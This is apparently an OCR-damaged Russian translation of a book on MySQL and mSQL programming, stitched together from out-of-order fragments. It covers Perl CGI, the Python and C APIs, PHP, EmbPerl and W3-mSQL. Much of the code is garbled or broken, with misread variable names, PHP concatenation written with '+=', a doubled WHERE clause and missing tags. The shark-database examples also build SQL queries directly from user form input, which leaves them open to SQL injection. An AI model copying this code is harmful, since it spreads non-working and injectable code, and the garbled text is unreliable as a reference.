    # Поскольку мы используем MySQL, можно с таким же успехом

    # поместить весь экзамен в BLOB.
    open(TEST,">teach/tests/$id") or die("A: $id $!");
    print TEST param('test'), "\n";

    close TEST;

    print header, start_html('title'=>'Экзамен создан', 'BGCOLOR'=>'white');

    print < <Н1>Экзамен создан

    Экзамен создан.

    <р>

    <А HREF=".">Перейти на домашнюю страницу 'В помощь учителю'.

    <А HREF="test.cgi">nepeimi на главную страницу экзаменов.

    <А HREF="test.cgi?actio,n=add">Добавить следующий экзамен.



    END_OF_HTML

    }

    Теперь введем информацию об экзамене в базу данных. При этом мы шагнем дальше обычного ввода данных, который видели до сих пор. Данные по экзаменам достаточно сложны, поэтому каждый экзамен лучше хранить в собственной таблице. Вместо добавления данных в существующую таблицу мы создадим совершенно новую таблицу для каждого экзамена. Сначала мы создадим ID для нового экзамена с помощью функции автоинкрементирования MySQL и введем название и ID экзамена в таблицу с именем test. Эта таблица является просто указателем на экзамены, по ней можно легко найти ID любого экзамена. Затем мы создадим одновременно два запроса. Первый будет запросом CREATE TABLE, который определит наш новый экзамен. Второй запрос будет иметь тип INSERT и запишет в нашу таблицу максимальные баллы по каждому вопросу. Эти запросы будут отправлены серверу базы данных, что завершит весь процесс (после вывода пользователю страницы с сообщением об успешном завершении). Позднее, после сдачи экзамена учащимися, для каждого учащегося будет создана запись в таблице экзамена. Эти записи могут быть сравнены с максимальными значениями для определения оценки учащегося.



    Динамическое соединение с базами данных

    Тот метод API, который мы до сих пор обсуждали в этой главе, дает, в сущности, все необходимое для простых и наиболее часто встречающихся повседневных задач выборки, вставки, обновления и удаления данных в базе. В некоторых более сложных приложениях может оказаться, что вы ничего (или чего-нибудь) не знаете о базе данных, с которой соединяетесь и которой посылаете команды. Хотя оба API поддерживают метаданные уровня базы данных - информацию времени выполнения о базе данных, с которой соединены, - только MySQL API обеспечивает полную поддержку динамически генерируемых вызовов SQL, включая метаданные результирующего набора.

    Описатели команд в MySQL

    Как уже отмечалось, в MySQL есть два средства обработки запросов. Более простая форма возвращает результирующий набор в виде списка списков. Более сложная форма возвращает описатель команды.

    Описатель команды представляет результаты обработки запроса к MySQL через метод query() (в противоположность использованию метода do()). Пример 11-2 показывает, как можно использовать описатель команды для получения информации времени выполнения о запросе или команде обновления.

    Пример 11-2. Динамический доступ к базе данных MySQL с помощью описателя команды

    [7:20pm] athens> python

    Python 1.5.1 (#1, Jun 13 1998, 22:38:15) [GCC 2.7.2] on- sunos5

    Copyright 1991-1995 Stichting Mathematisch Centrum, Amsterdam

    >>> import MySQL;

    >>> db = MySQL,con.nect();

    >>> db.selectdb('db_test-);

    >>> result - db.query("INSERT INTO test(test_id,test_val) VALUES(4,

    'Bing!')");

    >>> print result.affectedrows();

    1

    >>> result = db.query("SELECT * FROM test");

    >>> print result. numrows();

    3

    >>> print result.fields();

    [['test_id', 'test', 'long', 11, 'notnull'], ['test_val', 'test', 'string',

    100, "]]

    >>> print result, fetchrows(-l);

    [[1, 'This is a test.'], [2, 'This is a test.'], [4. 'Bing!']]

    >>>

    В дополнение к результирующему набору запроса можно с помощью описателя команды получить число строк, затронутых операциями обновления, вставки или удаления. В примере 11-2 мы получили количество строк, возвращенных запросом, и подробные сведения о колонках, представленных в результирующем наборе.


    Из новых методов, появившихся в примере 11-2, только fetchrows() не является самоочевидным. Этот метод получает очередную группу строк в количестве, определяемом переданным ему параметром. Иными словами, при вызове result. fetchrows(2) возвращается список, состоящий из очередных двух строк. Метод возвращает список, состоящий из всех строк, если ему передан параметр, меньший 0 — как в данном примере. Сочетая этот метод с обращением к seek(), можно перемещаться по результирующему набору. Метод seek() принимает целочисленный параметр, указывающий на строку, с которой вы хотите работать, при этом 0 указывает на первую строку.

    Метаданные базы данных

    Хотя только MySQL API поддерживает динамическое управление результирующим набором (по крайней мере, на момент данной публикации), оба API поддерживают метаданные базы данных с помощью почти идентичных наборов методов. Метаданные базы данных представляют собой информацию о соединении с базой данных. В примере 11-3 приведена сессия Python, заставляющая соединения с MySQL и mSQL рассказать о себе.

    Пример 11-3. Данные

    [7:56pm] athens> python

    Python 1.5.1 (#1, Jun 13 1998, 22:38:15) [GCC 2.7.2] on sunos5

    Copyright 1991-1995 Stichting Mathematisch Centrum, Amsterdam

    >>> import mSQL, MySQL;

    >>> msql = mSQL.connect();

    >>> mysql = MySQL.connect();

    >>> print msql.listdbs();

    ['db_test', 'db_web']

    >>> print mysql.listdbs();

    [['dbjest'], ['mysql'], ['test']]

    >>> msql.selectdb('db_test');

    >>> mysql.selectdb('db_test');

    >>> print msql. listtables();

    ['test', 'hosts']

    >>> print mysql.listtables();

    [['test']]

    >>> print msql.serverinfo;

    2.0.1

    >>> print mysql.serverinfo();

    3.21.17a-beta-log

    >>> print mysql.clientinfo();

    MySQL-Python-1.1

    >>> print msql.hostname;

    None

    >>> print mysql.hostinfo();

    Localhost via UNIX socket

    >>> print mysql.stat();

    Uptime: 4868410 Running threads: 1 Questions: 174 Reloads: 4 Open tables: 4

    >>> print mysql.listprocesses();

    None

    >>>

    В этом примере долгая серия обращений к методам обеспечивает вывод расширенной информации о соединениях с базами данных. В ряде случаев mSQL предоставляет эту информацию через неизменяемые атрибуты, а не методы. MySQL API предоставляет значительно больше сведений, чем mSQL. Обратитесь к справочному разделу части III "Справочник" за полным описанием этих методов и атрибутов.

    Если вы пишете много программ

    Python

    Если вы пишете много программ на Perl, но не знакомы с Python, вам определенно следует познакомиться с ним. Python является объектно-ориентированным языком сценариев, сочетающим мощь таких языков, как Perl и Tсl, с понятным синтаксисом, что позволяет создавать приложения, которые легко поддерживать и развивать. Отличное введение в программирование на Python дается в книге Марка Лутца (Mark Lutz) и Дэвида Эшера (David Asher) "Learning Python", изданной O'Reilly & Associates, Inc. В данной главе предполагается наличие у читателя знакомства с основами языка Python, включая умение добавлять новые модули к начальной инсталляции Python.

    Поддержка баз данных MySQL и mSQL со стороны Python, которая является предметом данной главы, осуществляется посредством двух модулей Python. В момент публикации данной книги модуль для mSQL был доступен на http://www.python.org, а для MySQL - на http://www.mysql.com. Хотя есть несколько других модулей, обеспечивающих приложениям Python доступ к MySQL и mSQL, они, как и эти два, являются, в основном, вариациями на тему С API для MySQL и mSQL. Для доступа к выбранной вами базе данных и выполнения примеров этой главы необходимо установить один или оба этих модуля.

    Оба API практически одинаковы, поэтому мы будем рассказывать сразу об обоих, оговаривая.места, где между ними есть различия.



    Основы подключения к базам данных

    API для Python являются, вероятно, самыми простыми API для работы с базами данных из всех, встречающихся в этой книге. Как и для других API, начать нужно с подключения к базам данных — установления соединения. Поскольку Python имеет интерактивный интерфейс, продемонстрировать соединение проще всего с помощью интерпретатора командной строки. Ниже показаны две сессии Python, демонстрирующие простое соединение с базами данных MySQL и mSQL соответственно. В первом примере производится соединение с базой данных MySQL:

    [4:30pm] athens> python

    Python 1.5.1 (#1, Jun 13 1998, 22:38:15) [GCC 2.7.2] on sunos5

    Copyright 1991-1995 Stichting Mathematisch Centrum, Amsterdam

    >>> import MySQL;

    >>> db = MySQL.connect( 'athens. imaginary.com');

    >>> db.selectdb('db_test');

    >>> result = db.do('select test_val from test where test_id = 1');

    >>> print result;

    [['This is a MySQL test.']]

    >>>

    Код для mSQL, делающий то же самое, выглядит почти идентично:

    [4:30pm] athens> python

    Python 1.5.1 (#1, Jun 13 1998, 22:38:15) [GCC 2.7.2] on sunos5

    Copyright 1991-1995 Stichting Mathematisch Centrum, Amsterdam

    >>> import mSQL;

    >>> db = mSQL.connect('athens. imaginary.com');

    >>> db.selectdb('db_test');

    >>> result = db.query('select test_val from test where test_id = 1');

    >>> print result;

    [('This is a mSQL test.',)]

    >>>

    В обоих случаях прежде всего нужно импортировать соответствующий модуль Python. He следует использовать синтаксис mSQL import *, так как он засорит пространство имен вашего приложения. Вместо этого в каждом модуле следует получить экземпляр описателя базы данных с помощью метода connect() и использовать этот описатель для доступа к базе данных.

    Вызов connect() в обоих API схож, но не одинаков. В приведенном примере подключения к MySQL мы подключаемся к базе данных, для которой разрешен глобальный доступ. Поскольку в этом случае не требуется указания имени пользователя или пароля, вызов connect() для сессии MySQL выглядит так же, как для сессии mSQL. Однако вы можете задать имя пользователя и пароль, если того требует ваша база данных MySQL. Например, db = MySQL.connect( 'athens. imaginary.com', 'myuid', 'password'); подключит вас к серверу MySQL на athens.imagi-nary.com в качестве "myuid" с паролем "password". Тот и другой API не требуют имени узла при локальном подключении. В этом случае они достаточно сообразительны и для более быстрого соединения используют сокет домена Unix (на Unix-системах).


    Процесс соединения в С API является двухэтапным и требует сначала соединиться с сервером, а затем выбрать базу данных, которую вы хотите использовать. Для API Python требуются те же шаги. Как для MySQL, так и для mSQL метод API для выбора базы данных практически одинаков: selectdb() . В большинстве случаев вы передаете этому методу единственный параметр - имя базы данных. MySQL поддерживает необязательный второй параметр, позволяющий потребовать, чтобы результирующий набор оставался на сервере, пока не будет запрошена каждая его строка. Этот вариант требуется только тогда, когда вы знаете, что память клиента ограниченна, или извлекаете очень большой результирующий набор.

    Запросы

    Эти два API слегка различаются в том способе, каким посылаются команды базе данных и обрабатываются возвращаемые результаты. API для mSQL очень прост и не имеет поддержки курсоров. Напротив, API для MySQL поддерживает простой mSQL API, а также более сложный набор методов API, которые более точно отражают С API и обеспечивают поддержку курсоров. При программировании на Python поддержка курсоров имеет сомнительную ценность, поскольку ни одна из этих баз данных не поддерживает редактирование по месту, а упрощенный API, показанный в интерактивных сессиях, позволяет перемещаться вперед и назад по результирующему набору с такой же легкостью, как и с помощью курсора. Однако далее в этой главе мы найдем применение для курсора, поскольку метод API, обеспечивающий поддержку курсора, обеспечивает также поддержку динамического доступа к базе данных.

    mSQL API и простая форма MySQL API позволяют приложению запрашивать базу данных и выводить результаты в виде списка. К несчастью, эти API имеют тривиальное, но неприятное различие в том, каким образом это делается. Во-первых, для mSQL метод запроса называется query(), а для MySQL он называется do(). Каждый из методов воспринимает в качестве аргумента любую строку SQL. Если команда порождает результирующий набор, он возвращается в виде списка: списка кортежей для mSQL и списка списков для MySQL.


    В большинстве случаев различие в типе возвращаемых значений несущественно: кортежи не могут изменяться. Код в большинстве случаев одинаков. Тем не менее следует помнить, что строки MySQL являются списками, а строки mSQL - кортежами, на случай, если вы столкнетесь с ситуацией, где это различие существенно. В примере 11-1 приводится простая Python-программа, обращающаяся к базам данных MySQL и mSQL и выводящая результаты.

    Пример 11-1. Обработка запросов в Python дд,я mSQL и MySQL

    #!\/usr/local/bin/python

    # Импорт модулей import Msql, MySQL;

    # Инициализация значений database и query

    database = 'db_test';

    query = 'SELECT test_id, test_val FROM test';

    # Соединение с серверами msql = mSQL.connect();

    mysql = MySQL.connect();

    # Выбор тестовых баз данных msql.selectdb(database);

    mysql.selectdb(database);

    # Выполнение запроса

    m_result = msql.query(query);

    my_result = mysql.do(query);

    #Обработка результатов для mSQL

    for row in m_result:

    # Здесь row является кортежем

    print "mSQL- test_id: ",row[0]," test_val: ",row[1];

    # Обработка результатов для MySQL

    for row in my_result:

    ft Здесь row является списком

    print "MySQL- test_id: ",row[0]," | test_val: ",row[1];

    # Закрыть соединение (только mSQL)

    msql.close();

    Для обеих баз данных, MySQL и mSQL, приложение просматривает в цикле каждую строку результирующего набора и выводит ее данные. В mSQL первый элемент кортежа представляет первую колонку запроса, а второй элемент - вторую колонку. Аналогично, первый элемент в списке MySQL представляет первую колонку запроса, а второй элемент - вторую колонку.

    Обновление

    Обновление, вставка и удаление в базе данных производится с помощью того же метода API, что и запросы, - просто не требуется обрабатывать результирующий набор. Иными словами, вызовите query() или do(), и больше ничего не требуется. В MySQL есть дополнительная возможность возврата значения AUTO_INCREMENT , если в затронутой таблице есть поле с атрибутом AUTO_INCREMENT .



    Альтернативные методы создания динамического содержания Web

    Впервые то, что сейчас мы называем Dynamic HTML, появилось в Web в виде Server Side Includes (SSI) - "включений на стороне сервера". В основе SSI лежит та мысль, что есть ряд часто встречающихся величин, таких как текущие дата и время, которые включать в HTML-страницу полезно, но непрактично, поскольку они очень часто изменяются. SSI дает способ, которым HTML-страница может потребовать от сервера включить в нее значения таких параметров перед тем, как послать страницу конечному пользователю. Благодаря этому параметр всегда имеет текущее значение, а создателю страницы нет необходимости непрерывно ее обновлять. Типичная директива SSI на странице HTML выглядит так:

    Saturday, 03-Jan-2026 06:47:43 MSK

    Проблема SSI в том, что набор данных, который сервер может легко предоставить, очень ограничен. Сверх даты, времени и способности включать другие файлы остается не много возможностей без того, чтобы сам веб-сервер не начал серьезно разрастаться.

    Вскоре стало ясно, что если сам веб-сервер не обеспечивает динамического HTML, он может появиться только из двух источников. Либо клиент, то есть веб-броузер, интерпретирует команды, либо какая-нибудь другая программа на сервере осуществляет предварительную обработку команд, выдавая конечному пользователю чистый HTML.

    Первый путь привел к JavaScript и аналогичным технологиям. В JavaScript, как и в SSI, команды встраиваются в HTML. В отличие от SSI, сервер не трогает команды JavaScript, их обрабатывает броузер. Такой способ предоставляет значительно лучшее взаимодействие с пользователем. Например, JavaScript позволяет определить действия, которые должны производиться при перемещении пользователем мыши над различными участками экрана. Благодаря этому удается создать ощущение непосредственности и интерактивности, недостижимые другими средствами. Вот пример типичного кода JavaScript:



    Трудность, вызываемая решениями, работающими только на стороне клиента, такими как JavaScript, состоит в том, что, как только клиент заканчивает загрузку страницы, связь с сервером теряется. Очень часто на сервере располагаются ресурсы, например, серверы баз данных, с которыми хотелось бы взаимодействовать. Однако сценарии, выполняемые на стороне клиента, обычно делают невозможной или неэффективной связь с сервером или другой удаленной машиной после того, как страница загружена. Такого рода функциональность больше соответствует решениям на стороне сервера.


    При наличии интерпретатора на стороне сервера документ HTML просматривается перед тем, как быть отосланным конечному пользователю. Какая-либо программа, обычно программа CGI, выявляет и выполняет программный код, встроенный в HTML. Преимущество такой системы в том, что используется мощь CGI-программы и значительная доля сложности остается скрытой.

    Предположим, что есть морская организация с базой данных об акулах. База данных содержит важную статистику по различным видам акул, а также имена файлов с изображениями этих тварей. Для создания веб-интерфейса к этой базе данных идеально применим HTML с интерпретацией на сервере. Все выходные страницы с информацией о выбранном виде акулы имеют идентичный формат. В местах, где требуются динамические данные из базы, можно вставить команды, которые будут выполнены до того, как пользователь увидит страницу. Можно даже генерировать динамические теги для показа желаемых изображений. Позднее в этой главе мы покажем, как можно реализовать этот пример с помощью различных интерпретаторов на сервере.



    и другие средства поддержки HTML,

    PHP и другие средства поддержки HTML, управляемого базами данных

    Есть несколько простых в использовании программных расширений HTML, обеспечивающих поддержку доступа к серверам баз данных MySQL и mSQL с веб-страниц. В этой главе мы начнем с W3-mSQL -средства для mSQL. Затем покажем менее связанный с конкретной базой данных подход с помощью РНР и двух небольших расширений Perl. Имеющийся в W3-mSQL язык сценариев Lite позволяет встраивать в HTML-файлы целые программы. CGI-программа выполняет сценарий и посылает клиенту результат в виде динамически создаваемого документа HTML.

    Поскольку W3-mSQL и другие расширения, рассматриваемые в данной главе, используют собственные языки сценариев и скрывают всякие признаки использования CGI, в этой главе не требуется знания предшествующего материала данного раздела. Однако при чтении главы может оказаться полезным понимание того, как работает CGI, a также наличие некоторого предшествующего опыта программирования (Lite сходен как с С, так и с Perl).



    РНР

    По самой своей природе W3-mSQL узко специализирована для использования с СУБД mSQL. Если вы используете MySQL или же W3-mSQL не покрывает всех ваших потребностей, то есть другие препроцессоры HTML, предлагающие поддержку баз данных.

    РНР, что означает "PHP: Hypertext Preprocessor" (препроцессор гипертекста), является приложением, очень близким по духу W3-mSQL. Оба приложения являются CGI-программами, интерпретирующими HTML перед отправкой броузеру окончательной страницы. Оба имеют встроенный язык сценариев. Более того, в обе программы тесно интегрированы возможности работы с базами данных. Однако РНР идет дальше W3-mSQL, предлагая совместимость с несколькими серверами баз данных, включая MySQL и mSQL.

    Язык сценариев РНР более богат и может использоваться в большем числе приложений, чем W3-mSQL. Короче, предпочтительнее использовать РНР, если только вы не привязаны к использованию mSQL в качестве сервера баз данных. В последнем случае более удобной для вас будет некоторая оптимизация, имеющаяся в W3-mSQL.

    С использованием РНР пример с базой данных по акулам может выглядеть так:

    <НТМL>

    <НЕАD>Результат поиска акул



    <Н1> Вот акулы, удовлетворяющие условиям поиска...

    <Р>
    /* Начинаем построение запроса. В результате типичный запрос

    * может выглядеть так:

    * SELECT * FROM SHARK WHERE SPECIES='Isurus Paucus' AND AGE=2 */

    $query = "select * from sharks where ";

    if ($species || $age || Slocation) {

    $query += " where "; }

    if ($species) { $query += "species = '$species'";
    }
    if ($age) {

    if ($species) { $query += " and "; }

    $query += "age = Sage";

    }

    if ($location) {

    if ($species || $age) { Squery += " and "; } $query += "location = '$location'";

    }

    $result = msql("sharks",Squery);

    if (result == -1) {

    echo("Error : $phperrmsg\n");

    exit(1); }


    Snumresults = msql_numrows($result);

    >




    if (! $numresults ); >

    <Н2> Результатов не найдено


    else {

    while-($i < $numresults) {

    $id[$i] = msql_result($result,$i,"id");

    $species[$i] = msql_result($result,$i,"species");

    $age[$i] = msql_result($result,$i,"age");

    $loc[$i] = msql_result($result,$i,"location");

    echo("
  • ");

    printf("", $id[$i]); echo("<В>Вид: $species[$i]
    ");

    if ($age[$i] == 1) { $age = "Молодые"; }

    else if ($age[$i] == 2) { $age = "Взрослые"; }

    else if {$age[$i] == 3) { $age = "Старые"; }

    echo("Age: $age
    ");

    echo("Paйoн $location[$i]
    ");

    }

    }

    }



    Hoый поиск





    Встроенный Perl

    Несколько модулей Perl и соответствующих программ позволяют встраивать код Perl в документ HTML. Перед отправкой окончательной страницы HTML броузеру этот код выполняется CGI-программой.

    Наиболее очевидное преимущество таких решений перед W3-mSQL и РНР заключается в том, что в качестве языка сценариев в HTML-файле используется обычный Perl. Будучи простыми в изучении и схожими по стилю с С и Perl, языки сценариев Lite и РНР все же являются уникальными патентованными языками, используемыми лишь с единственной целью. Напротив, Perl практически вездесущ. Это стандартный язык программирования, отлаживавшийся на протяжении многих лет и обладающий развитыми возможностями в отношении безопасности. В пользу такого типа решений есть убедительные аргументы.

    ePerl

    Первым приложением, позволившим встраивать код Perl в текст ASCII и, в частности, в документ HTML, был ePerl. Сама программа ePerl написана на С и предназначена для использования в качестве интерпретатора Perl общего назначения для документов ASCII. Она прекрасно работает с HTML, но не имеет специфических для HTML или веб-возможностей, предоставляемых некоторыми другими пакетами.

    EmbPerl

    Программа EmbPerl создана позднее, чем ePerl, и более ориентирована на HTML и Web. Она позволяет использовать дополнительные "метакоманды" - теги в стиле HTML, обрабатываемые EmbPerl, - которые вводят в сам HTML возможности ветвления и другие элементы программирования .

    В качестве примера встраивания кода Perl в файл HTML рассмотрим форму для вывода данных из базы данных по акулам, приводившуюся выше. Мы будем использовать в нашем примере EmbPerl, но поскольку используется стандартный Perl, код практически одинаков для различных средств встраивания Perl.



    <НЕАD><ТIТLЕ>Результаты поиска акул



    <Н1> Вот акулы, удовлетворяющие условиям поиска...

    <р>

    [-

    use Msql;

    use CGI qw(:standard);

    $dbh = Msql->connect; $dbh->selectdb("sharks");


    %age = ( '0' => 'Молодые',

    '1' => 'Взрослые',

    '2' => 'Старые'

    );

    # Начинаем построение запроса. В результате типичный запрос

    # может выглядеть так:

    # SELECT * FROM SHARK WHERE SPECIES='Isurus Paucus' AND AGE=2

    $query = "select * from sharks where ";

    if ( Sspecies or Sage or $location) {

    $query .= " where ";

    $query .= join(" and ", param); }

    Sresult = $dbh->query($query);

    if (result == -1) {

    echo("Error : " . Msql->errmsg . "\n");

    exlt(l);

    }

    Snumresults = $result->numrows;

    -]



    [$if (! Snumresults ) $]

    <Н2>Результатов не найдено [SelseS]

    [Swhile (%shark = $Msql->fetchhash($result)) $]





  • <В>Вид: [+$shark{'species'}+]

    <В>Возраст: [+$age{$shark{'age'}}+]

    <В>Район [+$shark{'location'}+]


    [;endwhile$] [;endif]

    Hoвый поиск



    W3-mSQL

    W3-mSQL является, в сущности, одной программой CGI, называющейся w3-msql. Программа фильтрует страницы HTML со встроенными командами W3-mSQL и посылает клиенту очищенный результирующий HTML. Команды W3-mSQL пишутся на специальном языке программирования, называемом Lite. Lite во многом схож с Perl и С, но разработан специально для взаимодействия с базами данных mSQL. Краткий справочник по функциям Lite есть в конце главы 18 "Справочник по PHP Lite". Для осуществления этого к URL для w3-msql добавляется путь к HTML-файлу, с расширениями W3-mSQL, например, http://www.me.com/cgi-bin/w3-msql/~me/mypage.html.

    Содержимое HTML-файла внутри тега интерпретируется как команды Lite. Например, эквивалент программы "Hello world!" на Lite выглядит так:

    Hello world!




    echo("Hello world!");
    >


    Все, что не находится внутри тегов , остается чистым HTML.

    mSQL автоматически устанавливает программу w3-msql, и вам остается только поместить ее в свой каталог cgi-bin.

    W3-Auth

    W3-Auth является механизмом, обеспечивающим защиту страниц, управляемых W3-mSQL. Он включается вместе с W3-mSQL и устанавливается автоматически с mSQL. С помощью W3-Auth можно создать иерархию пользователей и групп, которым разрешено использовать различные страницы с расширениями W3-mSQL.

    W3-Auth использует три различных уровня доступа: пользователь, группа и область. Пользователь отдельное имя, обычно относящееся к отдельному лицу, примерно как имя пользователя в Unix. Груп па является собранием пользователей. Область является разделом веб-сайта, который вы хотите защитить.

    Такая схема особенно полезна для сайтов со многими виртуальными узлами на одном веб-сервере. Допустим, например, что на вашем компьютере расположены виртуальные серверы с именами serverl, ser-ver2 и server3. Каждое из этих различных имен администрируется различными группами людей. Вы можете создать три разные области, охватывающие эти три сайта, и тогда члены каждой группы будут в состоянии управлять доступом к своей странице с расширениями W3-mSQL, но не смогут вмешаться в управление другими сайтами.


    Установка

    Обе программы, W3-mSQL и W3-Auth, компилируются и устанавливаются автоматически, вместе с дистрибутивом mSQL. После установки они находятся в MSQL_HOME/bin, где MSOL_HOME есть местонахождение файлов mSQL - по умолчанию /usr/local/Hughes. Исполняемые файлы w3-msql и w3-auth нужно скопировать в каталог cgi-bin вашего сервера или эквивалентный ему.

    После установки W3-Auth предполагает, что она сама и программа w3-msql находятся в каталоге cgi-bin вашего сайта. Если вы хотите поместить эти программы в другой каталог, нужно вручную изменить исходный код перед установкой mSQL. С помощью Perl это можно сделать следующим образом. Находясь в каталоге src/w3-msql дистрибутива mSQL, введите: perl -pi -e 's/cgi-bin/yourcgidirectory/g' *.c. Другой возможностью сделать то же самое является использование такого сценария:

    #!/bin/sh

    # Запустите это из каталога src/w3-msql своего дистрибутива с исходным кодом mSQL.

    for file in 'Is *.c'; do

    sed -e "s/cgi-bin/$1/" $file > $file.tmp

    mv $file.tmp $file

    done

    Скопируйте этот сценарий в ваш каталог src/w3-msql и введите следующую команду:

    ./scriptname yourcgidirectory

    Здесь scriptname является именем сценария, a yourcgidirectory - именем каталога, который будет содержать исполняемые файлы w3-msql и w3-auth.

    W3-Auth в настоящее время не совместим с распространяемой версией веб-сервера Apache из-за одной небольшой особенности системы безопасности Apache. Apache не позволяет программам CGI иметь доступ к данным авторизации. Без этой возможности ни одна CGI-программа, включая W3-Auth, не может выводить пользователю стандартное окно для ввода имени пользователя/пароля и получать из него результаты. Ввиду важности Apache для сообщества пользователей mSQL, был быстро выпущен патч, позволяющий W3-Auth работать вместе с Apache. После его установки необходимо перекомпилировать Apache. Заметьте, что установка данного патча позволяет любым CGI-програм-мам получать имя пользователя и пароль у посетителей сайта. Если вы доверяете тем, кто имеет доступ к CGI-программам на вашей машине, то подобный метод относительно безопасен.

    Два API

    Используете ли вы С или C++, С API для MySQL и mSQL являются шлюзами к базе данных. Однако их применение может очень различаться в зависимости от того, используете ли вы С или объектно-ориентированные возможности C++. К программированию баз данных на С нужно подходить в последовательном стиле, когда вы пошагово просматриваете свое приложение, чтобы определить, где производятся обращения к базе данных, а где необходимо произвести освобождение ресурсов. Напротив, объектно-ориентированный C++ требует объектно-ориентированного интерфейса к выбранному вами API. Тогда объекты этого API могут взять на себя ответственность за управление ресурсами базы данных.

    В таблице 13-1 сопоставлены вызовы функций каждого API. Детали использования этих функций мы рассмотрим позднее в этой главе. Сейчас вы можете лишь бегло сравнить оба API и отметить, какие возможности они предоставляют. Разумеется, в справочном разделе перечислены все эти методы с подробным описанием прототипов, возвращаемых значений и комментариями.

    Таблица 13-1. С API для MySQL и mSQL

  • $i







    MySQL


    mSQL


    mysql_affected_rows()


    CM. msqlQuery()


    mysql_close()


    msqlClose()


    mysql_connect()


    msqlConnect()


    myql_create_db()





    mysql_data_seek()


    msqlDataSeek()


    mysql_drop_db()





    mysql_eof()





    mysql_error()





    mysql_fetch_field()


    msqlFetchField()


    mysql fetch lengths()





    mysql_fetch_row()


    msqlFetchRow()


    mysql_field_count()





    mysql_field_seek()


    msqlFieldSeek()


    mysql_free_result()


    msqlFreeResult()


    mysql_get_client_info()





    mysql get host_info()





    mysql_get_proto_info()





    mysql_get_server_info()





    mysql_init()





    mysql_insert_id()





    mysql_list_dbs( )


    msqlListDBs()


    mysql_list_fields()


    msqlListFields()





    msqlListIndex()


    mysql_list_processes()





    mysql_list_tables()


    msqlListTables()


    mysql_num_fields()


    msqlNumFields()


    mysql_num_rows()


    msqlNumRows()


    mysql_query()


    msqlQuery()

    <


    mysql_real_query()







    mysql_reload()







    mysql_select_db()



    msqlSelectDB()



    mysql_shutdown()







    mysql_stat()







    mysql_store_result()



    msqiStoreResult()



    mysql_use_result()





    API для MySQL значительно обширнее, чем API для mSQL, ввиду большего числа функций в MySQL. Во многих случаях MySQL фактически только обеспечивает программный интерфейс к функциям администрирования баз данных, которые имеются в той и другой СУБД. Просто изучив названия функций, можно прийти к выводу, что любое разрабатываемое вами приложение баз данных должно, как минимум, делать следующее:

  • Осуществлять соединение.

  • Выбирать БД.

  • Посылать запрос.

  • Получать строку.

  • Получать поле.

  • Закрываться.

    В примере 13-1 показана простая команда select, извлекающая данные из базы данных MySQL с помощью MySQL С API.

    Пример 13-1. Простая программа, извлекающая все данные из тестовой базы и отображающая их

    #include

    #include

    #include

    int main(char **args) {

    MYSQL_RES 'result;

    MYSQL_ROW row;

    MYSQL 'connection, mysql;

    int state;

    /* соединиться с базой данных mySQL на athens.imaginary.com */

    mysql_init(&mysql);

    connection = mysql_real_connect(&mysql,

    "alMens.imaginary.com",

    0, 0,

    "db_test", 0, 0);

    /* проверить ошибки соединения */

    if( connection == NULL ) {

    /* вывести сообщение об ошибке */

    printf(mysql_error(&mysql));

    return 1;

    }

    state = mysql_query(connection,

    "SELECT test_id, test_val FROM test");

    if( state != 0 ) {

    printf(mysql_error(connection));

    return 1; }

    /* прежде чем делать другие вызовы,

    * необходимо вызвать mysql_store_result()

    */

    result = mysql_store_result(connection);

    printf("Строк: %d\n", mysql_num_rows(result));

    /* обработать каждую строку результирующего набора */

    while( ( row = mysql_fetch_row(result)) != NULL )

    {

    printf("id: %s, значение: %s\n", (row[0] ? row[0] : "NULL"), (row[1] ? row[1] : "NULL")); }


    /* освободить ресурсы, использовавшиеся результирующим набором */

    mysql_free_result(result); /* закрыть соединение */

    mysql_close(connection);

    printf("Koнец, работы.\n");

    }

    Назначение файлов mysql.h и stdio.h, включаемых директивой ftinclude, должно быть очевидно. Файл заголовков mysql.h содержит прототипы и переменные, необходимые для MySQL, a stdio.h содержит прототип для printf (). Файл заголовков sys/time.h приложением фактически не используется. Он нужен из-за mysql.h, так как файл для MySQL использует определения из sys/time.h, не включая их. Для компиляции программы с помощью компилятора GNU С используйте командную строку:

    gcc -L/usr/local/mysql/lib -I/usr/local/mysql/include -о select

    select.c\

    -Imysql -Insl -Isocket

    Разумеется, в этой строке вместо /usr/local/mysql нужно задать тот каталог, в который вы установили MySQL.

    Функция main() выполняет те шаги, которые мы перечислили раньше: соединяется с сервером, выбирает базу данных, выдает запрос, обрабатывает его результаты и освобождает использованные ресурсы. По ходу главы мы подробно остановимся на каждом из этих этапов. Сейчас посмотрите на этот код, лишь для того чтобы почувствовать, как он работает. Кроме того, сравните этот пример с той же программой, написанной для mSQL, которая представлена в примере 13-2.*

    Пример 13-2. Простое приложение выборки данных для mSQL

    #include

    #include

    #include

    int main(char **args) {

    int connection, state;

    m_result *result;

    m_row row;

    /* соединиться с базой данных mSOL на athens.imaginary.com */

    state = msqlConnect("athens.imaginary.com");

    /* проверить ошибки соединения */

    if( state == -1 )

    {

    /* вывести сообщение об ошибке, хранящееся в MsqlErrMsg */

    printf(msqlErrMsg);

    return 1;

    }

    else

    {

    /* описателем соединения является значение, возвращаемое msqlConnect() */

    connection = state; }

    /* выбрать используемую базу данных */

    state = msqlSelectDB(connection, "db_test");


    /* опять-таки, -1 указывает на ошибку */

    if( state == -1 )

    {

    printf(msqlErrMsg);

    /* закрыть соединение перед выходом */

    msqlClose(connection);

    return 1; }

    state = msqlQuery(connection, "SELECT test_id, test_val FROM test");

    if( state == -1 )

    {

    printf(msqlErrMsg);

    return 1;

    }

    else

    {

    printf("Строк: %d\n", state);

    }

    /* прежде чем делать новый вызов Query(),

    * необходимо вызвать msqlStoreResult()

    */

    result = msqlStoreResult();

    /* обработать каждую строку результирующего набора */

    while( ( row = msqlFetchRow(result)) != NULL )

    {

    printf("id: %s, значение: %s\n",

    (row[0] ? row[0] : "NULL"),

    (row[1] ? row[1] : "NULL"));

    }

    /* освободить ресурсы, использовавшиеся результирующим набором */

    msqlFreeResult(result); /* закрыть соединение */

    msqlClose(connect ion);

    printf("Конец работы.\n"); }

    Эти программы почти идентичны. Кроме разных имен функций, есть лишь несколько заметных отличий. Сильнее всего бросается в глаза различие в соединении с базой данных, которое проявляется в двух отношениях:

  • В MySQL соединение осуществляется за один шаг, а в mSQL - за два.*

  • Для MySQL требуются имя пользователя и пароль, а для mSQL -нет.

